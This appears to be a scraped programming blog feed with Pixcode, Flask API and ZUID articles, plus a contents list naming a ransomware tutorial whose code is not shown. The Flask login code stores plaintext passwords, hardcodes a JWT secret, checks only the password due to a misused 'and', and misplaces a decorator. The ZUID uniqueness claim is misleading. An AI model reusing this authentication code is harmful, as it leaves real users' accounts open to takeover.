Convert each pixel’s RGB values back into hexadecimal.
Split the hex values into pairs of two digits.
Convert these hex pairs into decimal numbers, then into their corresponding ASCII characters.
Reconstruct the original file from the decoded bytes.

Challenges and Solutions

While the algorithm is straightforward, there are a few hurdles to address:

Padding for divisibility: The total number of hex values might not be divisible by 3. To fix this, we add padding (dummy values) at the end to make the length a multiple of 3.
Image dimensions: Calculating the exact width and height for the image requires rounding up the square root of the padded hex array length.
Padding identification: During decoding, we need a way to ignore the padding. One solution is to use a unique marker color (e.g., a specific shade of blue) to indicate where the actual data ends.

Example: Encoding a String

Let’s encode the string: "geekhub is so cool and I love it so much".

Convert to bytes:

01100111 01100101 01100101 01101011 01101000
01110101 01100010 00100000 01101001 01110011 
00100000 01110011 01101111 00100000 01100011 
01101111 01101111 01101100 00100000 01100001 
01101110 01100100 00100000 01001001 00100000 
01101100 01101111 01110110 01100101 00100000 
01101001 01110100 00100000 01110011 01101111 
00100000 01101101 01110101 01100011 01101000

Convert to hexadecimal:

67 65 65 6b 68 
75 62 20 69 73 
20 73 6f 20 63 
6f 6f 6c 20 61 
6e 64 20 49 20 
6c 6f 76 65 20 
69 74 20 73 6f 
20 6d 75 63 68

Calculate dimensions:
The array has 40 elements. The square root of 40 is ~6.32, so we round up to 7. The image will be 7x7 pixels.
Add padding:
We add two dummy values (e.g., 00) to make the length 42 (divisible by 3).
Map to pixels:
Each group of three hex values becomes an RGB color. For example, (67, 65, 65) maps to a specific shade of red, green, and blue.
Mark the end of data:
Use a unique color (like blue) to indicate where the actual data ends, followed by black for padding.

Here’s a visual representation of the process:

Hex to RGB Conversion

Here’s a Python function to convert hex to RGB:

def hexToRgb(_hex):  
    singleColorDigits = 2  
    hexArray = [_hex[i:i+singleColorDigits] for i in range(0, len(_hex), singleColorDigits)]  
    r = int(hexArray[0], 16) if len(hexArray) >= 1 else 0  
    g = int(hexArray[1], 16) if len(hexArray) >= 2 else 160  # 0xA0 = 160  
    b = int(hexArray[2], 16) if len(hexArray) == 3 else 177  # 0xB1 = 177  
    return (r, g, b)

Conclusion

In this article, I’ve demonstrated how to create an encoder that transforms any file into an image while ensuring the process is reversible. For more details, check out the complete source code on Github.

::github{repo="0xGeekHub/pixcode"}

Setup a Simple API Using Python and Flask – Part 2

Mon, 16 May 2022 00:00:00 GMT

In this article — a continuation of Part 1 — I’ll cover some more advanced topics I previously mentioned. To begin, we’ll implement a simple login/register system where clients can register, log in using their credentials, and check their profile. So, let's get started!

Flask Global Variables

Flask provides several global variables that can simplify your development workflow. For example, the request object is a global variable that stores data related to HTTP requests — such as URL, query parameters, headers, and more.

You can import Flask global variables in two ways:

from flask import globals  # imports all global vars

Or, if you only need specific ones (recommended for cleaner code):

from flask import request

To see how we can access incoming data, let’s create a simple /test route:

@app.route('/test', methods=['GET'])
def test():
    name = request.args.get('name')
    username = request.args.get('username')
    password = request.args.get('password')
    return f"Hello, {name}! Your username is {username} and your password is {password}"

This route accepts only GET requests. You can access the parameters sent by the client via request.args.get('field_name').

For example, accessing this URL:

http://localhost:5000/test?name=Armin&username=mynameisarmin&password=mysafepassword

Will return:

Hello, Armin! Your username is mynameisarmin and your password is mysafepassword

Ways to Access Request Data

request.data: raw data as a string when Flask can’t handle the mimetype.
request.args: key/value pairs in the query string.
request.form: key/value pairs in the request body (e.g. from HTML forms).
request.files: uploaded files.
request.values: combines args and form, preferring args if duplicate keys exist.
request.json: parsed JSON data (must have Content-Type: application/json).

These objects are typically instances of MultiDict, except for request.json.

You can access values with:

request.form['name']: use this if you're sure the key exists.
request.form.get('name'): safer if the key might not exist.
request.form.getlist('name'): use this if the same key is submitted multiple times.

TinyDB

To build the login/register system, we need a way to store user credentials. Rather than using a full-fledged database like MongoDB or Redis for this small demo, we’ll use TinyDB, a lightweight, document-oriented database that stores data in a JSON file.

“TinyDB is a document-oriented database that stores data in a JSON file. It’s the closest thing I’ve found to a NoSQL version of SQLite. It’s simple, lightweight, serverless, and extensible.” — lyz-code.github.io

To install TinyDB:

pip install tinydb

We’ll also write a helper class to simplify using TinyDB. Create a file called db.py with the following content:

from tinydb import TinyDB, Query
import os

class Database:
    def __init__(self, dbName, dbPath):
        self.dbName = dbName
        self.dbPath = dbPath if dbPath.endswith('/') else dbPath + '/'
        self._initialize_db_path()
        self.db = TinyDB(self.dbPath + self.dbName, indent=4, sort_keys=True, separators=(',', ':'))

    def _initialize_db_path(self):
        if not os.path.exists(self.dbPath):
            os.makedirs(self.dbPath)

    def query(self, table, query):
        return self.db.table(table).search(query)

    def insert_or_update(self, table, data):
        table_ref = self.db.table(table)
        table_ref.upsert(data, Query().id == data['id'])
        return True

    def insert(self, table, data):
        self.db.table(table).insert(data)
        return True

    def close(self):
        self.db.close()

Then import your helper and Flask’s jsonify in your main file:

from db import *
from flask import jsonify

Create the database instance after initializing your Flask app:

app = Flask(__name__)
myDatabase = Database('db.json', 'database/')

Register Route

@app.route('/register', methods=['POST'])
def register():
    name = request.json['name']
    username = request.json['username']
    password = request.json['password']
    
    if myDatabase.query('users', Query().username == username):
        return jsonify({"error": "Account already exists"})
    
    myDatabase.insert('users', {'name': name, 'username': username, 'password': password})
    return jsonify({'status': 'success'})

This route accepts JSON data, checks if a user with the same username already exists, and if not, inserts the user into the database.

Testing the Endpoint

For GET requests: just open the URL in your browser.
For POST requests: use Postman, curl, or online tools like ReqBin.

Tip: Postman is more powerful and user-friendly, but ReqBin is great if you don't want to install anything.

Login Route

@app.route('/login', methods=['POST'])
def login():
    username = request.json['username']
    password = request.json['password']

    user = myDatabase.query('users', Query().username == username and Query().password == password)
    if user:
        return jsonify({'status': 'success'})
    return jsonify({'error': 'Account does not exist'})

JWT Integration

JWT (JSON Web Token) is a secure way to transfer identity and authorization information.

Install the extension:

pip install Flask-JWT-Extended

Import what we need:

from flask_jwt_extended import create_access_token, get_jwt_identity, jwt_required, JWTManager, verify_jwt_in_request

Configure your app:

app.config["JWT_SECRET_KEY"] = "super-secret"  # Replace with a secure key!
jwt = JWTManager(app)

You can generate a random key using: https://random.justyy.workers.dev/api/random/?cached&n=32

Updated Login Route with JWT

@app.route('/login', methods=['POST'])
def login():
    username = request.json['username']
    password = request.json['password']

    user = myDatabase.query('users', Query().username == username and Query().password == password)
    if user:
        return jsonify({
            'status': 'success',
            'token': create_access_token(identity=username)
        })
    return jsonify({'error': 'Account does not exist'})

On success, you’ll receive a JWT in the response.

Index Route (JWT Protected)

@jwt_required()
@app.route('/index', methods=['GET'])
def index():
    verify_jwt_in_request()
    current_user = get_jwt_identity()
    
    if current_user:
        return jsonify({'status': 'success', 'username': current_user})
    return jsonify({'error': 'Invalid token'})

Send the JWT token in the Authorization header like: Authorization: Bearer <your-token>

Full Source Code

from flask import Flask, request, jsonify
from db import *
from flask_jwt_extended import create_access_token, get_jwt_identity, jwt_required, JWTManager, verify_jwt_in_request

app = Flask(__name__)
app.config["JWT_SECRET_KEY"] = "super-secret"  # Replace this!
jwt = JWTManager(app)
myDatabase = Database('db.json', 'database/')

@app.route('/', methods=['GET'])
def home_page():
    return "Tada! My simple Flask app is running!"

@app.route('/register', methods=['POST'])
def register():
    name = request.json['name']
    username = request.json['username']
    password = request.json['password']
    if myDatabase.query('users', Query().username == username):
        return jsonify({"error": "Account already exists"})
    myDatabase.insert('users', {'name': name, 'username': username, 'password': password})
    return jsonify({'status': 'success'})

@app.route('/login', methods=['POST'])
def login():
    username = request.json['username']
    password = request.json['password']
    user = myDatabase.query('users', Query().username == username and Query().password == password)
    if user:
        return jsonify({
            'status': 'success',
            'token': create_access_token(identity=username)
        })
    return jsonify({'error': 'Account does not exist'})

@jwt_required()
@app.route('/index', methods=['GET'])
def index():
    verify_jwt_in_request()
    current_user = get_jwt_identity()
    if current_user:
        return jsonify({'status': 'success', 'username': current_user})
    return jsonify({'error': 'Invalid token'})

app.run(host='localhost', port=5000)

Conclusion

In this final article, I’ve introduced more advanced concepts like authentication and token-based authorization using JWTs. I hope it was helpful! If you have any questions or comments, feel free to leave them below — I’ll respond as soon as I can.

ZUID: Generating Even More Unique Identifiers

Sun, 15 May 2022 00:00:00 GMT

The story begins with a need: I was looking for a unique identifier algorithm that could produce more unique identifiers than UUIDv4—the most widely used one. But before diving in, let’s clarify what a UUID actually is.

What is a UUID?

A Universally Unique Identifier (UUID) is a 128-bit number, composed of 16 octets and typically represented as 32 hexadecimal characters. It’s used to uniquely identify information across computer systems. The specification was originally created by Microsoft and later standardized by both the IETF and ITU.

In this article, I’ll focus specifically on UUID version 4 (UUIDv4), which is purely random generated (unlike other versions that are based on timestamps or MAC addresses).

It’s worth noting that generating a duplicate UUID is extremely unlikely.

A sample of 3.26 × 10¹⁶ UUIDs has a 99.99% chance of not containing any duplicates. At a rate of one UUID per second, generating that many would take over a billion years. — towardsdatascience

A Closer Look

As mentioned earlier, a UUID is a 128-bit number represented in hexadecimal format. That means you can generate your own UUID by randomly changing even a single bit.

For example, if you imagine the smallest possible UUID as '0x00000000000000000000000000000000', where all bits are zero, the next one would be '0x00000000000000000000000000000001', and it goes on. Because of this vast space, collisions are almost impossible. According to Wikipedia, you’d need to generate about 2.71 quintillion UUIDs before expecting a single collision—that’s a truly massive number.

But then a question popped into my head: Can we make an identifier that’s even more unique—or at least appears more diverse—than a UUID? Let me explain :)

Tweaking the Output

While thinking about it, I realized we could modify the final section of the UUID generation process—the part that converts the 128-bit number into a hexadecimal string. This step gives us a 32-character-long identifier. If we take that final string and convert or encode it into a different format of the same length, we essentially get a new kind of identifier.

Alphabet Character Mapping

My first idea was to remap the hexadecimal characters. In hex, the digits 10 through 15 are represented by the letters 'a' through 'f'. So, what if we replaced 'abcdef' with a different set of six characters?

I chose to map 'abcdef' to 'uvwxyz'—the last six letters of the alphabet.

For example, the UUID '14be1be3-4818-46da-bb60-dc2b1d89c8ff' becomes '14yv1yv3-4818-46wz-yy60-wx2y1w89x8uu'.

The map_to argument in the function can be any set of 6 characters, which opens up room for customization and variety.

Random Uppercasing

Another trick to increase uniqueness is to randomly change the case of alphabetic characters. This adds visual variety without altering the base information.

The full source code of ZUID—my custom identifier generator—is shown below:

# a library that generates zuid.

import random
from uuid import uuid4


class zuid:
    zuid = 0x000000000000000000000000000000000000
    def __init__(self, zuid=None):
        if (zuid != None and zuid != self.zuid):
            self.zuid = bytes(zuid, "utf-8")
            
    def should_upper(self):
        return random.randint(0, 1024) % 2 == 0
    
    def map(self, data, map_to):
        board = f"abcdef{map_to}"
        mapped = ""
        for i in data:
            if (i in board):
                mapped += board[len(board) - 1 - board.find(i)]
            else:
                mapped += i
        return mapped
    
    def generate_zuid1(self):
        digits = "0123456789"
        uuidchars = "abcdef"
        zuidcharacters = "uvwxyz"
        characters = zuidcharacters.upper()
        zuid_digits = digits + characters
        uuid = str(uuid4())
        template = "xxxxxxxx-xxxx-zxxx-xxxx-xxxxxxxxxxxx"
        zuid = ""
        for i in range(len(template)):
            if (template[i] == 'z'):
                zuid += 'z'
            elif (template[i] == '-'):
                zuid += '-'
            else:
                uuidchar = uuid[i]
                if (uuidchar in digits):
                    zuid += uuidchar
                else:
                    char = self.map(uuid[i], zuidcharacters)
                    zuid += char.upper() if  self.should_upper() else char
        return zuid
    
    def __str__(self) -> str:
        if (self.zuid != None):
            return self.zuid.decode("utf-8")
        else:
            raise Exception("ZUID is not initialized")
        
    def __repr__(self):
        if (self.zuid != None):
            return '%s(%r)' % (self.__class__.__name__, str(self))
        else:
            raise Exception("ZUID is not initialized")
    
def zuid1():
    return zuid(zuid().generate_zuid1())

Conclusion

ZUID’s uniqueness builds on the reliability of UUIDv4, but adds layers of transformation—character mapping, casing, and potential encodings—to create identifiers that are visually distinct and even more customizable.

You can also roll your own variant by generating random bits or experimenting with different encodings.

Setup simple API using Python and Flask

Sun, 15 May 2022 00:00:00 GMT

Setting Up a Simple API Using Python and Flask

In this article, I'll show you how to create a simple API using Python and the Flask framework. This is the first part of a two-part series. Here, I'll cover the basic concepts and setup, while in the next article, I'll dive into advanced topics like authentication, security, and usability. Let's get started!

What Is an API?

First, let's clarify what an API is. An API (Application Programming Interface) allows developers to interact with your application indirectly. Instead of requiring access to your source code, they can use your API to perform actions like creating accounts, sending messages, or retrieving data.

Typically, a Web API consists of one or more URLs, each with specific conditions for executing commands in your application. Remember that API development requires careful attention—any vulnerabilities could affect your entire application.

API calls can return various types of data, such as plain text, JSON objects, image files, and more. For example, the URL below is an API that returns a JSON object containing comments from an application:

https://jsonplaceholder.typicode.com/comments

Requirements

Python 3.8 or above: Python is a high-level programming language capable of building almost anything. In this article, we'll use it as the backend language for our application. Since Python is an interpreted language, you'll need to install the Python interpreter on your system. You can download it from the official website: python.org.
Flask: Flask is a lightweight Python web framework that simplifies web application development. It's a standalone module with minimal dependencies, making it easy to install using PIP (Python's package manager).

Installation

Once Python and PIP (which installs automatically with Python) are set up, open your system's command-line interface (Terminal on macOS/Linux or CMD on Windows) and run the following command to install Flask:

pip3 install flask

After Flask is installed, you're ready to proceed.

Setting Up a Simple Flask Application

To create a Flask application, start by importing the Flask class:

from flask import Flask

Next, create an instance of the Flask class. This instance represents your application:

app = Flask(__name__)

The __name__ variable passed to the constructor is a built-in Python variable that holds the name of your application.

Routing

Routing allows you to define accessible URLs or resources in your application. Frameworks like Flask handle routing programmatically, saving time and improving security compared to manual routing. Here's how to define a route:

@app.route('/', methods=['GET'])
def home_page():
    return "Tada! My simple Flask app is running!"

In this example, when a client accesses the root URL (/) with a GET request, the home_page function is called, returning the specified text. The root URL can be written with or without a trailing slash (e.g., floppydisk.vercel.app is equal to floppydisk.vercel.app/).

The methods argument in the route decorator is a list, meaning you can specify multiple HTTP methods (or HTTP verbs) for a single route.

Running the Application

Finally, start your application by calling the run method:

app.run(host='localhost', port=5000)

This code serves your application on localhost (IP address 127.0.0.1) at port 5000, making it accessible at http://127.0.0.1:5000. To run the script, execute the following command in your terminal:

python3 [your-file-name].py

If everything works correctly, you'll see a message like this in your console:

 * Serving Flask app 'app'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://localhost:5000
Press CTRL+C to quit

Now, open your browser and navigate to http://127.0.0.1:5000. You should see the message: Tada! My simple Flask app is running!

Here's the complete source code:

from flask import Flask

app = Flask(__name__)

@app.route('/', methods=['GET'])
def home_page():      
    return "Tada! My simple Flask app is running!"

app.run(host='localhost', port=5000)

Conclusion

In this article, I've demonstrated how to create a simple API using Python and Flask. In the next part, I'll cover the advanced concepts mentioned earlier.

Floppy Disk

A Doll's House in the 21st Century

قسمت اول: چالش های آی‌تی؛ یادگیری، دانشگاه، کار و سربازی

Create your own VPN to bypass internet censorship

Introduction

Technical Description

Protocols

IP

TCP

ISP

VPN

Getting Started

Coding a Ransomware Is Easier Than You Think

What Is Ransomware?

Python: A Versatile Tool

⚠️ Disclaimer

The Basic Scenario

Symmetric Cryptography

Asymmetric Cryptography

Setting Up the Environment

Requirements

Building the Server

Server Code

1. Cryptography Utilities (crypto.py)

2. Database Manager (db.py)

3. Server Logic (server.py)

Building the Ransomware

1. Cryptography Utilities (libs/crypto.py)

2. Ransomware Logic (tarantula.py)

Ransomware Core Implementation (tarantula.py)

Global Variables

File Filtering

Core Functions

Main Execution

3. Decryptor (tarantula-decryptor.py)

Progress Visualization

Payment Verification

Main Execution Flow

Compiling the Ransomware

Final Notes

How Much Faster Do You Need to Be to Beat AI in Tic-Tac-Toe?

The Game

How Does the AI Work?

The Minimax Algorithm

Implementation

Conclusion

Pixcode: Everything is in the Pixels

The Basic Idea

File Format Transformation

Introducing PixCode

Understanding the Basics: Number Systems and Conversions

The Encoding Algorithm

The Decoding Algorithm

Challenges and Solutions

Example: Encoding a String

Hex to RGB Conversion

Conclusion

Setup a Simple API Using Python and Flask – Part 2

Flask Global Variables

Ways to Access Request Data

TinyDB

Register Route

Testing the Endpoint

Login Route

JWT Integration

Updated Login Route with JWT

Index Route (JWT Protected)

Full Source Code

Conclusion

ZUID: Generating Even More Unique Identifiers

What is a UUID?

A Closer Look

Tweaking the Output

Alphabet Character Mapping

Random Uppercasing

Conclusion

Setup simple API using Python and Flask

Setting Up a Simple API Using Python and Flask

What Is an API?

Requirements

1. Cryptography Utilities (`crypto.py`)

2. Database Manager (`db.py`)

3. Server Logic (`server.py`)

1. Cryptography Utilities (`libs/crypto.py`)

2. Ransomware Logic (`tarantula.py`)

Ransomware Core Implementation (`tarantula.py`)

3. Decryptor (`tarantula-decryptor.py`)